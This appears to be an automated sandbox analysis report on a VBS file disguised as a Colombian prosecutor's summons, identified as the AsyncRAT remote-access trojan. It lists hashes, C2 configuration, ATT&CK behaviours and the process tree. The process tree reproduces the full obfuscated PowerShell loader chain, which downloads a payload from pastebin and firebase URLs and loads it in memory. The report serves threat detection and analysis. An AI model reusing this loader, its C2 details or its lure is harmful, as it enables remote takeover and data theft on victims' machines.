Analysis

  • max time kernel
    94s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-11-2024 17:23

General

  • Target

    Informacion detallada proceso de citacion fiscalia No Radicado#2024-996569-66332368-999650023-PDF.vbs

  • Size

    207KB

  • MD5

    3a463161808ec6ca767d6f33717b6d09

  • SHA1

    dfce6272aca63db2237c10b8dfc1f049bd2a69da

  • SHA256

    3b2f343d09a33b6f15664c3c7cab05b149470aa2c1320784326b03eb66b5aa61

  • SHA512

    24d960b49be770f85ecac0bd7c53f7963d05317de23c3c4c0a722a644e1a3642f618956f46858a7e2fda6f2996bee0bbc5ac97c552e8269dab3c822ee52ca52f

  • SSDEEP

    384:233333333333333333333333333333333333333333333333333333333333333q:WlzLjW

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://pastebin.com/raw/0FK5ax2D

Extracted

Family

asyncrat

Version

1.0.7

Botnet

19

C2

sanchezsanches2025.duckdns.org:6666

Mutex

sdfgsghdfg3456345645

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Asyncrat family
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Powershell Invoke Web Request.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Delays execution with timeout.exe 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Informacion detallada proceso de citacion fiscalia No Radicado#2024-996569-66332368-999650023-PDF.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2836
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT★Hk★cwB0★GU★bQ★u★E4★ZQB0★C4★UwBl★HI★dgBp★GM★ZQBQ★G8★aQBu★HQ★TQBh★G4★YQBn★GU★cgBd★Do★OgBT★GU★YwB1★HI★aQB0★Hk★U★By★G8★d★Bv★GM★bwBs★C★★PQ★g★Fs★UwB5★HM★d★Bl★G0★LgBO★GU★d★★u★FM★ZQBj★HU★cgBp★HQ★eQBQ★HI★bwB0★G8★YwBv★Gw★V★B5★H★★ZQBd★Do★OgBU★Gw★cw★x★DI★Ow★k★EM★QwBS★Gg★bQ★g★D0★I★★n★Gg★d★B0★H★★cw★6★C8★LwBw★GE★cwB0★GU★YgBp★G4★LgBj★G8★bQ★v★HI★YQB3★C8★M★BG★Es★NQBh★Hg★MgBE★Cc★I★★7★CQ★Zg★g★D0★I★★o★Fs★UwB5★HM★d★Bl★G0★LgBJ★E8★LgBQ★GE★d★Bo★F0★Og★6★Ec★ZQB0★FQ★ZQBt★H★★U★Bh★HQ★a★★o★Ck★I★★r★C★★JwBk★Gw★b★★w★DE★LgB0★Hg★d★★n★Ck★I★★7★Ek★bgB2★G8★awBl★C0★VwBl★GI★UgBl★HE★dQBl★HM★d★★g★C0★VQBS★Ek★I★★k★EM★QwBS★Gg★bQ★g★C0★TwB1★HQ★RgBp★Gw★ZQ★g★CQ★Zg★g★C0★VQBz★GU★QgBh★HM★aQBj★F★★YQBy★HM★aQBu★Gc★I★★7★GM★bQBk★C4★ZQB4★GU★I★★v★GM★I★★7★H★★aQBu★Gc★I★★x★DI★Nw★u★D★★Lg★w★C4★MQ★g★Ds★c★Bv★Hc★ZQBy★HM★a★Bl★Gw★b★★u★GU★e★Bl★C★★LQBj★G8★bQBt★GE★bgBk★C★★ew★k★GY★I★★9★C★★K★Bb★FM★eQBz★HQ★ZQBt★C4★SQBP★C4★U★Bh★HQ★a★Bd★Do★OgBH★GU★d★BU★GU★bQBw★F★★YQB0★Gg★K★★p★C★★Kw★g★Cc★Z★Bs★Gw★M★★x★C4★d★B4★HQ★Jw★p★C★★Ow★k★FE★U★B0★GE★dg★g★D0★I★★o★C★★RwBl★HQ★LQBD★G8★bgB0★GU★bgB0★C★★LQBQ★GE★d★Bo★C★★J★Bm★C★★KQ★g★Ds★SQBu★HY★bwBr★GU★LQBX★GU★YgBS★GU★cQB1★GU★cwB0★C★★LQBV★FI★SQ★g★CQ★UQBQ★HQ★YQB2★C★★LQBP★HU★d★BG★Gk★b★Bl★C★★J★Bm★C★★LQBV★HM★ZQBC★GE★cwBp★GM★U★Bh★HI★cwBp★G4★ZwB9★C★★Ow★k★FE★U★B0★GE★dg★g★D0★I★★o★C★★RwBl★HQ★LQBD★G8★bgB0★GU★bgB0★C★★LQBQ★GE★d★Bo★C★★J★Bm★C★★KQ★g★Ds★J★B1★GU★YQB1★Gs★I★★9★C★★Jw★w★Cc★I★★7★CQ★awBz★Gg★b★Bo★C★★PQ★g★Cc★JQBK★Gs★UQBh★HM★R★Bm★Gc★cgBU★Gc★JQ★n★C★★OwBb★EI★eQB0★GU★WwBd★F0★I★★k★HE★Z★Bx★HI★dg★g★D0★I★Bb★HM★eQBz★HQ★ZQBt★C4★QwBv★G4★dgBl★HI★d★Bd★Do★OgBG★HI★bwBt★EI★YQBz★GU★Ng★0★FM★d★By★Gk★bgBn★Cg★I★★k★FE★U★B0★GE★dg★u★HI★ZQBw★Gw★YQBj★GU★K★★n★CQ★J★★n★Cw★JwBB★Cc★KQ★g★Ck★I★★7★Fs★UwB5★HM★d★Bl★G0★LgBB★H★★c★BE★G8★bQBh★Gk★bgBd★Do★OgBD★HU★cgBy★GU★bgB0★EQ★bwBt★GE★aQBu★C4★T★Bv★GE★Z★★o★CQ★cQBk★HE★cgB2★Ck★LgBH★GU★d★BU★Hk★c★Bl★Cg★JwBU★GU★a★B1★Gw★YwBo★GU★cwBY★Hg★W★B4★Hg★LgBD★Gw★YQBz★HM★MQ★n★Ck★LgBH★GU★d★BN★GU★d★Bo★G8★Z★★o★Cc★TQBz★HE★QgBJ★GI★WQ★n★Ck★LgBJ★G4★dgBv★Gs★ZQ★o★CQ★bgB1★Gw★b★★s★C★★WwBv★GI★agBl★GM★d★Bb★F0★XQ★g★Cg★Jw★0★GU★NgBm★D★★O★★5★GI★Zg★1★GE★M★★t★Dc★O★Bi★GE★LQBh★GM★Yw★0★C0★YQ★3★Dc★Yw★t★DI★N★Bl★GM★M★Bk★DI★Mg★9★G4★ZQBr★G8★d★★m★GE★aQBk★GU★bQ★9★HQ★b★Bh★D8★d★B4★HQ★LgB6★Ho★egB6★Ho★egB6★EY★Mg★l★FM★RQBO★E8★SQBD★EE★V★BJ★EM★M★★y★CU★UwBB★Ek★T★BB★EM★UwBJ★EY★LwBv★C8★bQBv★GM★LgB0★G8★c★Bz★H★★c★Bh★C4★YQ★4★DE★Mw★x★C0★YQBh★HM★bwBv★G8★cgBy★HI★cg★v★GI★Lw★w★HY★LwBt★G8★Yw★u★HM★aQBw★GE★ZQBs★Gc★bwBv★Gc★LgBl★Gc★YQBy★G8★d★Bz★GU★cwBh★GI★ZQBy★Gk★Zg★v★C8★OgBz★H★★d★B0★Gg★Jw★g★Cw★I★★k★Gs★cwBo★Gw★a★★g★Cw★I★★n★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★Xw★t★C0★LQ★t★C0★LQ★t★Cc★L★★g★CQ★dQBl★GE★dQBr★Cw★I★★n★DE★Jw★s★C★★JwBS★G8★Z★Bh★Cc★I★★p★Ck★Ow★=';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('★','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\Admin\AppData\Local\Temp\Informacion detallada proceso de citacion fiscalia No Radicado#2024-996569-66332368-999650023-PDF.vbs');powershell $Yolopolhggobek;
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4628
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/0FK5ax2D' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$ueauk = '0' ;$kshlh = 'C:\Users\Admin\AppData\Local\Temp\Informacion detallada proceso de citacion fiscalia No Radicado#2024-996569-66332368-999650023-PDF.vbs' ;[Byte[]] $qdqrv = [system.Convert]::FromBase64String( $QPtav.replace('$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($qdqrv).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('4e6f089bf5a0-78ba-acc4-a77c-24ec0d22=nekot&aidem=tla?txt.zzzzzzzF2%SENOICATIC02%SAILACSIF/o/moc.topsppa.a8131-aasooorrrr/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth' , $kshlh , '____________________________________________-------', $ueauk, '1', 'Roda' ));"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4924
        • C:\Windows\system32\cmd.exe
          "C:\Windows\system32\cmd.exe" /c
          4⤵
            PID:3280
          • C:\Windows\system32\PING.EXE
            "C:\Windows\system32\PING.EXE" 127.0.0.1
            4⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:396
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABmACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAKQAgADsAJABRAFAAdABhAHYAIAA9ACAAKAAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgAgACkAIAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBSAEkAIAAkAFEAUAB0AGEAdgAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcA -inputFormat xml -outputFormat text
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2892
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
            4⤵
              PID:4744
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
              4⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:3452
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp3479.tmp.bat""
                5⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:1160
                • C:\Windows\SysWOW64\timeout.exe
                  timeout 3
                  6⤵
                  • System Location Discovery: System Language Discovery
                  • Delays execution with timeout.exe
                  PID:2896

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        3KB

        MD5

        223bd4ae02766ddc32e6145fd1a29301

        SHA1

        900cfd6526d7e33fb4039a1cc2790ea049bc2c5b

        SHA256

        1022ec2fed08ff473817fc53893e192a8e33e6a16f3d2c8cb6fd37f49c938e1e

        SHA512

        648cd3f8a89a18128d2b1bf960835e087a74cdbc783dbfcc712b3cb9e3a2e4f715e534ba2ef81d89af8f60d4882f6859373248c875ceb26ad0922e891f2e74cc

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        5c9d2cbff87039dfa98390f51b06f61b

        SHA1

        736a64968f091a0fc9b987a45faf66f5f0bf6cd4

        SHA256

        b3ff6eac7e6d3f70f21d63f5a34e04322d71319e27bb433f4496663337bf3251

        SHA512

        43831a52799e14bee975a825342ffb51003e12597b664e18918b690f5f8781ab92f7f63428ee29aad05a3c386af5604e0cd0ca8df228b676a9da047fed51a3dd

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        64B

        MD5

        412190095aa22003e76921475e241046

        SHA1

        8ded8197516a79fda05a7044f3a9249372ac42ba

        SHA256

        2719d9049d1c5b9c03be4a8317a546f8cec012e0a471d7e0aa260cfa7fc64acf

        SHA512

        2110768c472fdfd683c9ff96c1f37d72bb2d52e089c1b23261572bb1bafd125b42074169c366a387310e7ad046daa85e811c79a90527f4721035bce9690d3f56

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s55rv3b5.cze.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\dll01.txt

        Filesize

        143B

        MD5

        ca3e9f3bbaab1d91f5669c577de22fa4

        SHA1

        70b81036cf4f04b1d576bb1919b9ed85451914c6

        SHA256

        3c4664ee97f3c7f228328e22d2cf88a7d492cfad95a5154eaeae889e45cd2137

        SHA512

        b22a10692fa31d9f678247c9bc52fcfe7c04b1335530567a930da3098fd667d36b513a3f88aed8c20d379672d8ca03038dd372d2e0f8fca9988f4f81cf7e857e

      • C:\Users\Admin\AppData\Local\Temp\dll01.txt

        Filesize

        103KB

        MD5

        70d9e1bb47536e58c110170bdaa06407

        SHA1

        615485617d9be2219e858e6896e728b4c32f4c77

        SHA256

        c9a42ec3ef13dea4be9c17dd82e43640b732d44971c1babdb887e4cb58ae1f2e

        SHA512

        5bca9a669d3b54666e445c44fb695206d86bacf3895583f5b4e630f438507539d4f6a161efbf224cb41c0bedce5e37718ff7e5d95203d3f7422c828c493b903f

      • C:\Users\Admin\AppData\Local\Temp\tmp3479.tmp.bat

        Filesize

        178B

        MD5

        81a2d8e9d6c5e8722e427bff924fb8d4

        SHA1

        91562758639b3e5f7627dc1165d2b91bdcc5b937

        SHA256

        41428eba53d540d57cd1d39144aee6981ddf6898cc1ebe92450a3c0e4e043e0d

        SHA512

        9150f97eacd27ad0c1159f826c3e2e5ba9ce1787918ed78cf2f7363b76077ac98a3d96486072a3589c81cf8073250498fd22938dd71fb487da7200acfe52d082

      • memory/3452-50-0x0000000005DA0000-0x0000000005E3C000-memory.dmp

        Filesize

        624KB

      • memory/3452-57-0x0000000008140000-0x00000000081A6000-memory.dmp

        Filesize

        408KB

      • memory/3452-56-0x0000000007180000-0x0000000007212000-memory.dmp

        Filesize

        584KB

      • memory/3452-55-0x0000000006E00000-0x0000000006E1E000-memory.dmp

        Filesize

        120KB

      • memory/3452-41-0x0000000000400000-0x0000000000416000-memory.dmp

        Filesize

        88KB

      • memory/3452-54-0x0000000005E80000-0x0000000005E90000-memory.dmp

        Filesize

        64KB

      • memory/3452-53-0x0000000006E60000-0x0000000006ED6000-memory.dmp

        Filesize

        472KB

      • memory/3452-52-0x0000000005EB0000-0x0000000005F16000-memory.dmp

        Filesize

        408KB

      • memory/3452-51-0x00000000063F0000-0x0000000006994000-memory.dmp

        Filesize

        5.6MB

      • memory/4628-1-0x000001B0ED860000-0x000001B0ED882000-memory.dmp

        Filesize

        136KB

      • memory/4628-47-0x00007FF9E86D0000-0x00007FF9E9191000-memory.dmp

        Filesize

        10.8MB

      • memory/4628-0-0x00007FF9E86D3000-0x00007FF9E86D5000-memory.dmp

        Filesize

        8KB

      • memory/4628-11-0x00007FF9E86D0000-0x00007FF9E9191000-memory.dmp

        Filesize

        10.8MB

      • memory/4628-12-0x00007FF9E86D0000-0x00007FF9E9191000-memory.dmp

        Filesize

        10.8MB

      • memory/4628-39-0x00007FF9E86D3000-0x00007FF9E86D5000-memory.dmp

        Filesize

        8KB

      • memory/4628-38-0x00007FF9E86D0000-0x00007FF9E9191000-memory.dmp

        Filesize

        10.8MB

      • memory/4924-40-0x00000237B3E40000-0x00000237B3E56000-memory.dmp

        Filesize

        88KB

      • memory/4924-37-0x00000237B3DE0000-0x00000237B3DF6000-memory.dmp

        Filesize

        88KB